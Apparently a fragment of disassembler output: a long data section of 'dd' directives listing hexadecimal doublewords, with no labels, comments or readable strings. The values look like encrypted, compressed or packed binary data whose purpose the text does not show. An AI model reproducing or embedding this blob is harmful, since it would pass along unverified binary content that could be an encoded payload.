		dd 0EDBF2230h, 7DDB03E0h, 0CD314E75h, 0F380E4F9h, 59070F5Ch
		dd 0AC27D6BFh, 6ADA00CBh, 0EA817D97h, 9B19EE04h, 0E1BF054Ch
		dd 63E642F7h, 259314DFh, 0C475F9F6h, 467E23C9h,	52B1194Eh
		dd 2C2C62D9h, 6892BD03h, 0BBD13FE5h, 21D1807Dh,	811F764Fh
		dd 6D5009C3h, 417E3B82h, 75AEC22Dh, 982D46DBh, 805631C0h
		dd 284AB1B0h, 72D9600Bh, 2DD82790h, 1FA3A7DEh, 0AE68558Fh
		dd 0F0677F0Eh, 5A582569h, 880B87Eh, 964B6418h, 11139750h
		dd 56580B17h, 5E2FAACAh, 0EEC028DCh, 9829BFDBh,	811C55C6h
		dd 75C3B1EFh, 0F1D815E1h, 0FB891E80h, 194CCD6Dh, 1FEB1422h
		dd 0EC257E86h, 63208A7Ah, 789CC136h, 851E253Bh,	0A3308264h
		dd 0BD7A00BAh, 0E9C89B8Bh, 6105DE2Ch, 0FBE8754Bh, 23281FEAh
		dd 209793BAh, 347124E4h, 0A92C265Dh, 8DB41FBDh,	0E28D3BCFh
		dd 2A5A4A40h, 0F4476CBDh, 0EA7E5472h, 0A07C0443h, 0AA6C3101h
		dd 0FDB50BFCh, 1AF6CAD5h, 3BD51B34h, 2730BDE0h,	0B7F966D0h
		dd 0B00958A8h, 0C858A643h, 25BC4CAEh, 6881A759h, 22D767E9h
		dd 42E40C6Eh, 0F6E2687Ch, 60780937h, 485FD2F7h,	49189FF0h
		dd 6C0A7F79h, 0E92547h,	52B6DEBEh, 7B26E94Ch, 1A89321Eh
		dd 0F214E63Dh, 0DD2E13EAh, 347C4152h, 410F8D33h, 0FCFA5AEDh
		dd 0CB6789FEh, 47A1F31Eh, 0E3FC41A8h, 1C611EEDh, 9EE8946Bh
		dd 5935D881h, 85D44032h, 370FF16Dh, 17E9C509h, 9D5A94A0h
		dd 0D2744DD0h, 31950DF0h, 32FCFB0h, 81CA87DDh, 964FB090h
		dd 0F2051276h, 0DBB1847Ch, 431F4BEh, 0D1947D16h, 5DBC9E57h
		dd 30E883B1h, 134ED037h, 4D761E41h, 97405F1Ch, 60BB4BCEh
		dd 62BC4E43h, 0CAA92A14h, 69B8FBE2h, 0F25E8729h, 8011BAFh
		dd 73561026h, 7A8D9B01h, 0E9FC89C7h, 0CD62BF34h, 6B725357h
		dd 1CE0175h, 0D72C02CFh, 3395F103h, 10686721h, 0CD849F04h
		dd 0ECB19A11h, 7EC3E13Fh, 169678A2h, 573080F6h,	0E2B6F789h
		dd 85844F17h, 59CF1E01h, 0B141EF83h, 81010ACEh,	0C23AE4EDh
		dd 0C5783EB8h, 0E90841E5h, 0B27A642Fh, 10FC104Ah, 3D58DD58h
		dd 50C0563Ah, 0A2B7531Eh, 0DFC03749h, 54B7F0E4h, 0F18001C7h
		dd 0E8CB28E0h, 14C0104Ah, 56213EBEh, 5E61F46Fh,	0B8D38C31h
		dd 5140CF0Fh, 31C4924Bh, 5BC02382h, 1C740970h, 0F4823CE6h
		dd 0BCE39E48h, 802AAA83h, 7F55F572h, 0A64D5DF6h, 0C45A6258h
		dd 1DA8BA64h, 0AF6E84E4h, 0A297D6FCh, 0CCAD4E38h, 4FE6BBD3h
		dd 0E0F8E909h, 29A23CFAh, 4E6B7A7Fh, 0FD3112DFh, 12890284h
		dd 8B567AAFh, 2D872584h, 0D62AE1AEh, 973470D7h,	58028A71h
		dd 54464168h, 521161AAh, 923F60C7h, 0DD30D151h,	4CB47CD2h
		dd 4A5E756Ah, 0C52E22C9h, 2C2CFE99h, 220C6B15h,	55600051h
		dd 970F9BE9h, 0AA85259Bh, 0F797DE30h, 132DE6DFh, 4B217A9h
		dd 0E828291Fh, 26FBC1AEh, 629D57BCh, 4A0B0934h,	9E0295F8h
		dd 1316D16h, 0E807F5F1h, 0F773A171h, 0F2AC6ADEh, 0FEB50192h
		dd 923D5CCEh, 79A35E2Ch, 0E9CF8904h, 4A93B035h,	90F120E3h
		dd 36430C13h, 88CD0BFh,	9A4B507Fh, 0E96221EAh, 0F739999Dh
		dd 0E3E2B0AFh, 6989EA4Bh, 0A82F5A9Eh, 0B1F94EADh, 0AE965F85h
		dd 0E3D405D8h, 819B33B5h, 5C54DDDh, 40526CB0h, 11B05D9Ah
		dd 84BD1FEh, 1758D7E2h,	0DE7C0C25h, 0EB74246Fh,	636BB2D0h
		dd 0C02EE349h, 42272DD2h, 0AC124F26h, 593207A0h, 41031001h
		dd 0B4313B68h, 5E2AFF2Fh, 0F712AF5Bh, 914CFBAh,	68AFF9E9h
		dd 250DF33Fh, 88760633h, 0C5BFC3Ch, 0EC40A8CBh,	494A027Ch
		dd 1B98686Ah, 7A6038D4h, 950AE867h, 0AE0B85F2h,	50552974h
		dd 0EB19A067h, 6CD3092Dh, 403EED1h, 33B0ADF0h, 0B095F709h
		dd 9CD3237Ch, 0AE156F69h, 2E2B0750h, 831E9625h,	549D3264h
		dd 9E6A0C00h, 89512376h, 409FD1h, 0DF952784h, 0EB607A12h
		dd 6880CD70h, 0C65D499Ch, 577EE681h, 0F14AF74Eh, 0BB5A9CADh
		dd 2829010Dh, 4E95852Fh, 1DE7EA8Bh, 6CF50955h, 2F527DDFh
		dd 0B5FA1AFCh, 7E2FA4B6h, 3DA7AC07h, 1CE2AE03h,	4810012Dh
		dd 52162F49h, 4D450A5Dh, 4468894Eh, 0B83A18DFh,	7F7400EBh
		dd 29833540h, 8F9F79F7h, 0EC2D20E3h, 3E369247h,	0D84AE948h
		dd 0F179F765h, 0E6700B27h, 469B31A9h, 7A04E2ABh, 6F20978Dh
		dd 147ABFBDh, 1E7012ECh, 0C970D4B5h, 27AD595Dh,	0EE08EE5Bh
		dd 6846021Fh, 0B671374Bh, 5CEB988h, 8820E280h, 0E34F033Eh
		dd 0C800A4h, 2D633D5Eh,	0A25E230h, 37B45A9Dh, 6527CBCEh
		dd 0E69D5604h, 26C30247h, 0D405C676h, 0AA08A033h, 35D10236h
		dd 0ACDFB61h, 92FD4F55h, 6A88EE6Ch, 0F899D57h, 0F5725EDEh
		dd 0A120E5ECh, 6024BF28h, 78CFB17Dh, 6CE5BE8h, 65A60896h
		dd 77EEB800h, 49317FD4h, 0D92432C3h, 848D9372h,	2DF3BF1Eh
		dd 0BBC1F4C4h, 53C920ACh, 6DDF5262h, 18FF2704h,	9784A4A3h
		dd 0C2A6907Fh, 1656BF58h, 8772B562h, 1CBE192Fh,	794752Dh
		dd 3B209692h, 1EF6B706h, 0C5EBC617h, 68938105h,	0E75E41B6h
		dd 9613780Fh, 4A9BD01h,	0FD413035h, 0D93AAE06h,	60747127h
		dd 6880DD12h, 0A6254FE4h, 0FDECD3FEh, 0EDF8B7A2h, 0B4BB3507h
		dd 8BDB80EFh, 200A7AC3h, 0E898D4E6h, 76372B25h,	3FF3E206h
		dd 7F565A02h, 0FEA08FE4h, 9D0FE581h, 0AC65F05Fh, 5268BF2Ch
		dd 2D782384h, 77E67118h, 0A13C37E2h, 0E9D70903h, 3049D5D8h
		dd 0DD03A7FFh, 0C1E1180Fh, 85378F69h, 660E1B0Ch, 3F7EA404h
		dd 8693A3BBh, 4845BB85h, 2A35F7C2h, 0DFC7FE0Fh,	0C978A3A0h
		dd 90CC152h, 0A5BA72F8h, 0A520C58Ah, 0EF0119F4h, 1D8D187Dh
		dd 2D44CFFCh, 0ABD8094Dh
		dd 60313F0Bh, 8582DFC6h, 6801E00Ch, 49365127h, 89256517h
		dd 68C5E126h, 0F128250Fh, 0EEFE1F61h, 0E4D54978h, 0ACCB7EAh
		dd 0C8975EEAh, 0E7DD6C4h, 50B84FA2h, 0AA259564h, 844D2C7h
		dd 5914E617h, 26628611h, 48CE066Dh, 781FAF0Ch, 8FABF417h
		dd 12DB5B04h, 19D8BA00h, 0C1281D0Fh, 0E20087EAh, 364D2BC7h
		dd 455DAF7h, 0D02AEBBDh, 0FB45836Eh, 42B40AB9h,	4C2437C4h
		dd 3BC7A6E8h, 0C1691458h, 5F17859h, 0E51D05FEh,	50D3B244h
		dd 0DD824388h, 20C1EE43h, 0A88D3452h, 4A627E17h, 0DFA14312h
		dd 50F2B72Bh, 761323AEh, 97BA413Dh, 646C5453h, 0A2A41117h
		dd 208D985Fh, 284A0180h, 0C21091E8h, 782C4979h,	2035392Fh
		dd 0FD20059Eh, 0A3F8B532h, 0E413294Eh, 0B242A999h, 74ECD77Ch
		dd 12147837h, 0E99A1CE7h, 206093BDh, 81531AFh, 0A5D82C0Ch
		dd 0A99F950Fh, 934F2098h, 905B381Bh, 53F0BF43h,	0C93ED99Fh
		dd 0E991225Fh, 8220FF5Bh, 521F32EBh, 0C62D7830h, 51294450h
		dd 805A0D8h, 0DE59DC82h, 7ADD0330h, 78613416h, 52F066Ch
		dd 0A03A5CC1h, 2D51F81Eh, 1DA0107h, 0ED6B83A7h,	0AA42BAh
		dd 459DF53Ch, 0E93133D6h, 3D419EB0h, 45A1ADCh, 8701C383h
		dd 791FC15Fh, 13683651h, 0A2371DC7h, 2F3FBA83h,	0F06C5820h
		dd 43CC6816h, 6F1969F3h, 32C28DCEh, 22327B35h, 0E1662628h
		dd 162A3309h, 2298FB60h, 797E13B9h, 80431635h, 9F93BDF8h
		dd 0FC75FC25h, 0FAE497C0h, 0F5090D64h, 953C705Dh, 210AB9D0h
		dd 8A89E9D5h, 0EE604692h, 284F26BBh, 0BDBE3EE3h, 0EE3D0284h
		dd 29B3580Bh, 4F14C8Bh,	33685BDFh, 0BF7DD169h, 0EAB18086h
		dd 0E19416EFh, 24D07D89h, 87B45CADh, 40814FD7h,	38D8C24Ah
		dd 2485E5B5h, 0FFBE09F9h, 0C9D57BDFh, 44F5FB55h, 24A61229h
		dd 5B010F44h, 0D2BBF2CFh, 936A3BEh, 0F5FF12E1h,	230BC87Bh
		dd 0A572EB6h, 0C1AD9C3h, 0BC4EC029h, 4FE3BEAFh,	94FDD3C9h
		dd 0FC015E5Bh, 3752068Bh, 3E8B7CC3h, 2C60F8E9h,	553B8FBAh
		dd 0F0EC6C5Eh, 0C7BD324Bh, 0B1C6737Fh, 8116FC84h, 0B0C2EFC3h
		dd 97EC90E2h, 0F1F1954Bh, 0DA047700h, 97D731ECh, 544E2D7Dh
		dd 0AAFA45DCh, 55CB8B34h, 0C3012B40h, 41C8E916h, 400E83B4h
		dd 0C8B05FB5h, 34BF720h, 80DDB450h, 13DD93C4h, 9E2FF8BAh
		dd 0BE19613h, 8865016Bh, 7BD22E5Ch, 583BD9B9h, 0A6AC152Eh
		dd 37F60193h, 3F31CB4Bh, 0E9557880h, 0ED055CA8h, 0D27CF8A5h
		dd 37FA2B17h, 367F83F8h, 7DB09D06h, 4EBEE886h, 2D34C16h
		dd 0F4E280B6h, 9207F98h, 0F00BB878h, 0E98797AEh, 0EF8BE580h
		dd 0DD087C49h, 0A566AD90h, 85DB5A81h, 0DC9E13BBh, 0EEB95C49h
		dd 9618F727h, 7A5B84E9h, 571AEAF3h, 0ED74F01h, 9666498Ah
		dd 0E9505CA5h, 0F1DA021Fh, 2F29EEA6h, 76807EF2h, 8155CE1Dh
		dd 116AE104h, 0F9AB752Ah, 9898866h, 53F4D95Eh, 58A269EFh
		dd 0BB5D9D83h, 0F30D4C11h, 5BBB804Eh, 5A5B6852h, 0CE2633ABh
		dd 7E1B26D9h, 43E22BCh,	9E45B67h, 0DD9723C6h, 0E9864095h
		dd 0E038463Dh, 0C38014D3h, 9710BBD5h, 0C01E769Eh, 524B07EFh
		dd 242E10B0h, 44313D19h, 41F7C992h, 782092AFh, 6293E970h
		dd 1E809F8h, 90330452h,	0AE0C16ABh, 60443568h, 6857223Ah
		dd 0AA2709ACh, 5AE3564Ch, 4F03FB5Eh, 3A656E9h, 0D2B850A5h
		dd 0EBD437BBh, 1BAAB4C4h, 39C61896h, 278F29F9h,	45B5C07h
		dd 0C0531166h, 76B11FE4h, 0D1012C16h, 0C4844AA8h, 0E70A342h
		dd 0D2C2606h, 0E63B2731h, 99A048F1h, 0FD4863ECh, 671F17EFh
		dd 9919BF72h, 0B03A087Eh, 44272D64h, 58367E46h,	40BD4257h
		dd 4EE9C1DCh, 0F6E40771h, 150572D4h, 0FDC83AF5h, 2FBA9945h
		dd 94D2470Bh, 36058C5Fh, 0D08F31Fh, 2A0D3280h, 9C74293h
		dd 493A6861h, 648155Bh,	0FBC775A7h, 5AB8AF34h, 153CD26h
		dd 5BE85078h, 24AF2E59h, 9AEA826Ah, 45927E55h, 35BF43FCh
		dd 9582F08Ch, 0C05362DFh, 2C30AB57h, 0E14A9Fh, 0B722059h
		dd 78B0F901h, 5BD90888h, 10F95F4Bh, 0CDD51A41h,	0FFC1166Bh
		dd 87FD4860h, 4064FEEFh, 0FE3C5BEDh, 575018C0h,	90D8F722h
		dd 8AE84B97h, 0C8C62F24h, 0B50BE9E8h, 0ABBE2504h, 0B6841DD4h
		dd 0CBE5F3AFh, 77D8423Eh, 775AD5F4h, 0F48EB17Ch, 0CB7A38FEh
		dd 0D0730F6Ah, 41855057h, 0D930BAF8h, 0C42F0268h, 0BF09CC5Dh
		dd 44558962h, 97F04A88h, 0ECBBE17h, 0E0030249h,	0DF95AD88h
		dd 0B6D019ABh, 5DB9660Bh, 613FC1Fh, 240E42E9h, 41186813h
		dd 0AF17EAE3h, 0C134498Eh, 6917E5FDh, 5738E857h, 563CC98Ch
		dd 0BDE3DFD4h, 90575866h, 0EF00FF4Fh, 9B15AFF7h, 0C2D4971Eh
		dd 0C3205659h, 0CE4412B4h, 0E6FC0378h, 5210C44Dh, 0C118924Bh
		dd 0CAF7F6E3h, 72885280h, 9044F1E6h, 0E916A28Eh, 0B83240E0h
		dd 49251F02h, 625DA1F4h, 9EC05AE7h, 5EDE5B3Eh, 24F0CB39h
		dd 6884777Dh, 0DD996A15h, 0CD41D66Eh, 875AE97Bh, 0B8D3225Eh
		dd 0A5F5D64Fh, 93B9BA2Dh, 0FF5A6565h, 4F30E429h, 193A3F5Bh
		dd 5EF5825Ah, 915A0270h, 9A042AE2h, 0BB17AD7Fh,	1A04AEEDh
		dd 850228F6h, 93E3EDDCh, 40E99505h, 0B504FDA3h,	0FF66DF18h
		dd 0F5C3B380h, 0C52D4BFCh, 26B8AC42h, 24053505h, 58C01136h
		dd 2D2B35C2h, 9D7843B9h, 0D9B9A05Eh, 16018184h,	91C2BEFh
		dd 2913DBE9h, 6812010Fh, 0D5382AF4h, 5D7C7C4h, 0B99D0433h
		dd 57423B41h, 0B8FB9407h, 0DE2A17FEh, 19A66C05h, 600C29BEh
		dd 4697E58Ah, 81D2B5DBh, 77FE594Fh, 3431F204h, 58BD49E6h
		dd 4B726794h, 3D73FB19h, 443798BDh, 138DBF16h, 0AC85149Fh
		dd 1B885B09h, 8FD4C65h,	4EEB462Ah, 0E2E9D005h, 0C62553BEh
		dd 13615819h, 0FE8F71B7h, 0D7A82D12h, 1CE69F10h, 328E2D5Bh
		dd 0E8D100C9h, 3A37350Dh, 0BF873BD9h, 9056EA7Eh, 1C2D0690h
		dd 573F98E4h, 0DEB0DAFCh, 0C1EC4AE9h, 0DD7DB1B6h, 0BE438C6h
		dd 0FF885A66h, 2ACD7810h, 0F5402EB4h, 0F7FE5F73h, 40E7816Ah
		dd 14503E1Bh, 0B5D74AEDh, 0BC7ABE1Dh, 30E917C3h, 0ADBB8FC4h
		dd 0DEE9B094h, 89AA9428h, 0EC5E5432h, 9ACC44C9h, 25783E8Ah
		dd 1C557225h, 0CD3FAAFBh, 996889A0h, 4F4E667Dh,	0BD1F825Eh
		dd 97F0D87Fh, 0DD2DA771h, 57FA5425h, 2463ADF0h,	4202D455h
		dd 0C07E3241h, 2D242029h, 161157Bh, 2ED3D493h, 5CAC0995h
		dd 454D0995h, 4E0E71FCh, 18FEF381h, 19C412D1h, 7170DA2Ch
		dd 952C9B00h, 6207E901h, 73689A3Dh, 84FA6DECh, 0C024D35Eh
		dd 5E1EBDBFh, 8D52CD24h, 58EDEBEh, 0F910E957h, 0D42337BAh
		dd 9EDDF96Eh, 19664B89h, 0B1E455CFh, 5626261Bh,	0B0CD0120h
		dd 2E275E20h, 7800F8FCh, 0E9166D5Ah, 6BB70944h,	2A33B9CEh
		dd 60939D2Ah, 233FAC02h, 0EE81010Bh, 16490F19h,	8EF506Eh
		dd 35D8AB4Ah, 410705F6h, 536BB0h, 0BA12FB9Ch, 0E139BB10h
		dd 315B0C2Ah, 3C3A0EBh,	0B68BF9D4h, 66E6DE21h, 913FDA7Ah
		dd 0E5CE8292h, 7F5FD95Dh, 0C6003266h, 49403BD7h, 0B8207789h
		dd 0B36F9D05h, 0BC01F4ADh, 0BAE983CEh, 0A0D2818h, 0FE1814E4h
		dd 4EB09055h, 0A3BBF82Eh, 10C5D478h, 899ECAA8h,	0E6FE231Bh
		dd 468C580h, 0FAF731F5h, 0CD344FCEh, 0E5318CFAh, 0B2491626h
		dd 82415F15h, 5CF0B4D5h, 5D9525B8h, 0D2523E87h,	0DB682479h
		dd 802F15B6h, 413658C6h, 43F33E46h, 4028307Bh, 2DE8292Ch
		dd 3745DA0Fh, 43E18517h, 688248ACh, 6EFF46EEh, 0AC75204Dh
		dd 0A739B53Bh, 68088147h
		dd 0A22B09DAh, 0BF60964Dh, 99EBD1E9h, 7A52025h,	14FD7B7Ch
		dd 418CC081h, 0B3B865ADh, 74027DF4h, 8EE95313h,	280C0B10h
		dd 631FCDF4h, 0A45C610Fh, 0C07EF6EDh, 299A07F0h, 0E91255BAh
		dd 3CAA2890h, 0C31C8049h, 2712E90Ah, 12B31AD0h,	0E17A5E21h
		dd 99F65510h, 3CB40122h, 7F580202h, 533FF006h, 7191595Eh
		dd 0C9383C84h, 0EB5D6887h, 58762E27h, 0D6E0890Bh, 8516CEA9h
		dd 5AA4B861h, 31A23390h, 0F8086015h, 71ED414Eh,	0EB1387B0h
		dd 0A0C65B6Dh, 0FD088228h, 4D769E44h, 52D90F25h, 95B420A5h
		dd 0C8015E1Bh, 0FC62D9D5h, 55D7DF52h, 0AB9FDD71h, 5FB0182Fh
		dd 0CBDD824Dh, 0EC11C9A3h, 5AF82224h, 3251F92Dh, 0DD05605Fh
		dd 0D87BD990h, 4FD9F680h, 0C6C5B186h, 57199A22h, 71501718h
		dd 849865E4h, 0A60F341h, 0DD63126Ah, 7BD70162h,	212B5EB7h
		dd 31542EFDh, 3D904BF2h, 95EFB6E9h, 40A647A2h, 0E49AEE91h
		dd 0DCB77FA2h, 0AC07962Ah, 0F0E68046h, 502154D7h, 95A4EBD3h
		dd 4F338C8Fh, 9D250C0h,	0E4A14746h, 0FE6F1808h,	0F6598F9h
		dd 25C2C254h, 0A2145C9h, 198329B7h, 0C1AB22BDh,	0D6EEE1FEh
		dd 0DC95A40h, 0D84698B7h, 1B7D8278h, 0F8AAD8D6h, 661F9FEh
		dd 62DAF3Bh, 2C28FE2Ah,	73902A68h, 0FC50B745h, 0C122B7C9h
		dd 2EA6BF38h, 0F8872589h, 297FE256h, 81844604h,	0CFFB6BC5h
		dd 96711269h, 474028E3h, 607F2440h, 11100BB8h, 0FC47CBE9h
		dd 88213ABh, 1C3508E9h,	8905D8A5h, 0B5FF5495h, 0B0137ECFh
		dd 8939C1BAh, 16F162EFh, 5FF45F08h, 9391246h, 32F6FB72h
		dd 11410C41h, 0B23A58A0h, 2B68CFF9h, 610A595Bh,	8C2DB2E9h
		dd 15401225h, 0D73A644Bh, 9EA1BAEAh, 842AD3EDh,	0F4ADABD4h
		dd 0D079EBA4h, 0EF3C5A93h, 91C16488h, 133410CDh, 2DE9C58Dh
		dd 7BD1707Eh, 274E2EC8h, 38565216h, 0A5698504h,	4874E610h
		dd 3980913Fh, 0B865C44Ch, 2FCE8309h, 69A2D599h,	0B303ECD7h
		dd 0F83610A8h, 1101806Dh, 97412A3Eh, 0CE178860h, 0F2811A00h
		dd 0CF0FF82Fh, 0E9D10901h, 29D21FEBh, 285C080Bh, 0EC0896Ch
		dd 0E707826Eh, 0E5D8F52Eh, 7EB3BF38h, 0D4F3E93Eh, 900EE5ACh
		dd 0C03ABA32h, 4A1102EDh, 0FA0CC730h, 0AAF1F4F0h, 64BB1384h
		dd 8C6BBD6Bh, 9754FB35h, 3214D902h, 9905A7CAh, 8967EC12h
		dd 0BB23A096h, 18311D9h, 2DE3811Bh, 607EEC72h, 71186636h
		dd 240C3560h, 8D43273Bh, 0BA17E6F4h, 13A55FFAh,	0D2318C4Eh
		dd 0E72A1448h, 7D1247D2h, 5A4E6446h, 842F02E1h,	0AB97BB9Dh
		dd 12BDE961h, 822F2ECDh, 155EF51Fh, 4641FF49h, 0FFAD2F59h
		dd 1C875E82h, 589C565Dh, 714E7968h, 2D192930h, 5D022866h
		dd 6DD602CEh, 8FE94937h, 4A166EDEh, 35471D0Ch, 4F02FAE1h
		dd 1DBED019h, 5117F34Ah, 38565431h, 0C68D41Eh, 0AABE7D9Ch
		dd 0F21FED25h, 0C9DE9075h, 0E4407AC9h, 673EA19Ch, 6EFC77A5h
		dd 0F44A7402h, 0F8CEE21Fh, 0B47F952Ch, 75A78AE4h, 71560A5Ch
		dd 4FE9B59Fh, 290A74B2h, 0B72F9BFh, 0D6D93E1Eh,	2DE9ADCCh
		dd 567999D6h, 0FEFCBB85h, 9263F2FEh, 4B6BCABEh,	4D847334h
		dd 4D877E84h, 32105266h, 0C1BD3B11h, 42F60244h,	88283692h
		dd 0E32244D8h, 0B85DECD1h, 35751FB4h, 18FCEF26h, 184CB9Eh
		dd 0D6FF7C85h, 0E92508BCh, 0BA1FC09Dh, 0BF2A1D29h, 0AAC82766h
		dd 0E82F7BD0h, 0A0B97659h, 170CD008h, 0E0F5286Bh, 0D203C73Bh
		dd 0B78AFECFh, 0EF10E058h, 0DEFD2568h, 66225455h, 58652726h
		dd 0ECCBB4D6h, 2B0318FAh, 8E3EC44h, 395F58BFh, 74626B5Ch
		dd 39E6C7AAh, 50A7B601h, 88B7B252h, 12F7822Eh, 0E825EF64h
		dd 58B6D664h, 18C918AFh, 0A96C82B2h, 2640A2Bh, 4CC73519h
		dd 0F8330D6h, 4367C74h,	2665160Ch, 7D9AC161h, 0E91BD820h
		dd 12FB3D24h, 60F8300Bh, 17D8F67Ch, 0F0889E2Ch,	2C97C2ABh
		dd 28BF62E8h, 4FFF5E2Ah, 0CAF8D68Bh, 2F53BAC4h,	0BBFE3005h
		dd 5F7CC08Bh, 602CFBF1h, 0F67B0EC1h, 52A3FED1h,	2C0942B6h
		dd 541343E9h, 77ADC014h, 75FC2A14h, 3CF559h, 3AF18141h
		dd 0BC296405h, 2AE981F4h, 0D44C140Dh, 3F944969h, 349D09Fh
		dd 3EDF73AEh, 5B25E7C9h, 0D4521B7Ch, 72B48B84h,	3E0B155Bh
		dd 70806617h, 0E547D303h, 3EA1E953h, 0FB6A17AFh, 0CB481C8Bh
		dd 0F69F5F22h, 0A4E9866Ah, 415A4C6Ch, 3E5EB981h, 0A6AE8004h
		dd 41F3C2Dh, 0E539F231h, 96528720h, 512B7600h, 0F8532F40h
		dd 0F1F650B0h, 7FC27731h, 896AEFCEh, 34BD6BB2h,	32EA864Bh
		dd 0F385BD4Ah, 0CFD621F7h, 1717486Dh, 1B346FCDh, 0F797C2AFh
		dd 58B35302h, 2FD1737Fh, 1D6378E3h, 0CBDF1DC2h,	6225EB81h
		dd 42A64C83h, 50B095A2h, 0C9641D5Eh, 0FFE616AEh, 35C67DFh
		dd 0C020BE04h, 0AB04AA53h, 7DE22133h, 0DF577F7Ah, 0D4ED89D5h
		dd 96003151h, 5124939h,	0D1590222h, 0DCAE956h, 43C718D7h
		dd 0CA2F83DFh, 0BC8E7F99h, 72CB58AFh, 525DD860h, 13FD5358h
		dd 59B9347Ch, 0DD5F803Bh, 4B292BD7h, 0B22D9A37h, 57C207F4h
		dd 2C11A6Dh, 0D55207F3h, 2CF98BF2h, 4BE6BA02h, 0C488AA5Ch
		dd 0B496409Bh, 0E1142670h, 378F5B58h, 896FB5C2h, 0D7F3A488h
		dd 24FFADFBh, 5B937253h, 0EB877645h, 0E99C9CFBh, 5CA0472Fh
		dd 0B968C1B0h, 0CDA27A03h, 627BE1D7h, 0B8A04B9Eh, 381E01FEh
		dd 0E9685E0Ch, 1F32B15h, 0BBDC529Fh, 0CB3BAFF1h, 18DA107Eh
		dd 9479312Fh, 4C6008h, 0F125E8B9h, 0C93D8112h, 616920Ah
		dd 1BBBAA12h, 0D0C406ABh, 7382533h, 0CA2047B8h,	0B95A4A2Dh
		dd 0FC6717A7h, 0BF2F61D9h, 0B97ED829h, 82FFA53Ch, 820BB212h
		dd 7CA8D95Bh, 805D4B77h, 0EE44AF6Bh, 0A759009h,	0A9D17402h
		dd 0E16D12ECh, 0F1928B09h, 24AEE45Eh, 4237328Ch, 0C8560E44h
		dd 0C3D3758Fh, 0EBFA01E5h, 0BCD35F70h, 82ABA5A1h, 4EDD7D1Fh
		dd 8AB8B773h, 89B74CE9h, 12907D6Dh, 0FE4AF195h,	73869CFFh
		dd 0FF2D35B6h, 314FA516h, 0CDB398ABh, 882E90BAh, 685882CBh
		dd 5B6B654Ah, 80A1903Ah, 0D19DCEEDh, 0D3F70B6Ch, 6334474h
		dd 87104C04h, 11532A04h, 0C202AF0Fh, 0FF28B5E9h, 0EE2D67E6h
		dd 78817471h, 6C9D35B3h, 0CBF3979Dh, 0E27E904h,	0E854CCABh
		dd 0B619889Eh, 0F034D195h, 532A512Eh, 13309771h, 382013FDh
		dd 1686A89Eh, 8B69928h,	66FA3A27h, 2C05EE05h, 78B541C8h
		dd 0E7040805h, 68024E14h, 0B579133Dh, 0C64E8492h, 14A4DC50h
		dd 0A6E6D18Fh, 0BF346A20h, 523EE540h, 8942F916h, 340826EAh
		dd 0FB131F5Bh, 48901469h, 572D2D61h, 0B35EC884h, 2BEB5193h
		dd 2AD9C09h, 0BAB0A81h,	0E48D2A04h, 6F09C7D7h, 0C4568366h
		dd 76099D4Ah, 20B93456h, 5AEBE097h, 0F5C6EC66h,	195BB3BBh
		dd 10665DE9h, 29E1B37Fh, 842F42Ch, 0DD21EA47h, 7E9F3D6Ch
		dd 0EF31C25Bh, 327C9C77h, 0D8B5CBD1h, 7A972D61h, 0C55EB8CEh
		dd 0FB7680D0h, 10099748h, 0B05EB668h, 2576EB98h, 48FF303Bh
		dd 7B06451Bh, 0E043603Ch, 578269Ch, 0E5ACE913h,	5ECACBFBh
		dd 133E15F1h, 68F47C55h, 0C7466931h, 6606DEABh,	200CC4BFh
		dd 997CE23h, 0B9520073h, 15CF948h, 0BA52DEF7h, 0F8E71FDBh
		dd 990D609h, 0A3B7EF5Eh, 76A04D7Bh, 0D256B34Eh,	54B22FF8h
		dd 2F676C1h, 7C1F415Fh,	0D31DCA75h, 1636F73Ah, 0D747B5F8h
		dd 0EC3181CCh, 7E60081Ch, 5C164FEh, 0B88AC5C9h,	0B1FD5B10h
		dd 0C3F3ABB4h, 86139404h, 0E32DC079h, 0C58D00Fh, 3E14C21h
		dd 0A3714F1h, 73A0B762h
		dd 0FCB02BDEh, 0F109976Ch, 0E942CEDBh, 0F7F45D90h, 21BC97BBh
		dd 0B8C058E9h, 22C65877h, 0C8DCDE9Fh, 4F6C01FCh, 28094C4Eh
		dd 35CA391Ah, 95AF08D1h, 0C5B68169h, 7E713B36h,	0CFC8C188h
		dd 0E955C159h, 3BFFC9B7h, 0E9F83CBBh, 38332126h, 1548CF8Ch
		dd 0BDC2B5F4h, 4E88E7D9h, 0D4843EC4h, 0B9699444h, 18F1034Dh
		dd 17FA3DEh, 1237966h, 21CB2908h, 0F3081030h, 0BCDF595Eh
		dd 0CBB4DE3Dh, 2CD05F5h, 0BF0547B9h, 4BE93FF0h,	0BD0680CCh
		dd 552F1AFBh, 961E7E28h, 0BE73C5E8h, 28E9823Ch,	27D2F909h
		dd 8472D488h, 10B8C925h, 31C33102h, 1A2E8F66h, 18505EEh
		dd 0FC4FE18Eh, 0C1915B48h, 75C2254Dh, 0FC6929DCh, 515B880Ch
		dd 49E6FE2Dh, 9E2F8C02h, 0F50B660Ah, 9185718h, 0EE88FE2Eh
		dd 0C675CE8h, 20033E6Ah, 895A2408h, 0D3F62F04h,	60EE0597h
		dd 5A08F849h, 42E0445Eh, 3B852A68h, 1829010h, 21B97270h
		dd 0C8802D48h, 0E9B578D8h, 0B6689FE9h, 0AA72B57Dh, 501E0575h
		dd 6A87020Ah, 0F0EB1958h, 78227h, 7D43FFEBh, 56D14D65h
		dd 0FC89200h, 9AE7E937h, 0B3B484BAh, 62A7D92Dh,	6802F992h
		dd 0F84EF55Eh, 5F091600h, 98371FB8h, 0F1294F8Ah, 69B41873h
		dd 34B880h, 350A230Ch, 4A4CF6A1h, 0EF419598h, 40DCA630h
		dd 5CFE8064h, 28012C01h, 0BCB652F0h, 1245C6E8h,	0EA2B6EE9h
		dd 0D92727F2h, 0EC40CB62h, 782D1781h, 75F84215h, 3B28FFC0h
		dd 0A91F5725h, 84D482CCh, 9E8B8023h, 1728DA0Eh,	0D45D64E9h
		dd 59A910Bh, 229693Eh, 4C696A12h, 7B386349h, 0FF984D76h
		dd 3AAD6803h, 40EA0AD8h, 0D7BAECC8h, 655A6413h,	1A1FBE09h
		dd 0ED647722h, 27ECB624h, 7EBC005h, 6F9343BFh, 0D8814D04h
		dd 0A6E9D02Ch, 5A58E392h, 451E0E0Ch, 6B08BF25h,	809426A4h
		dd 715FBF57h, 293B3E3Fh, 0EDF973FBh, 75133050h,	581BB100h
		dd 0C1779525h, 4FE91A2Eh, 35C1C1B3h, 0E3A25783h, 4E0402E3h
		dd 365F3C8Fh, 0E78B90BFh, 0AB485E8Ah, 0C1622407h, 7EFC18Bh
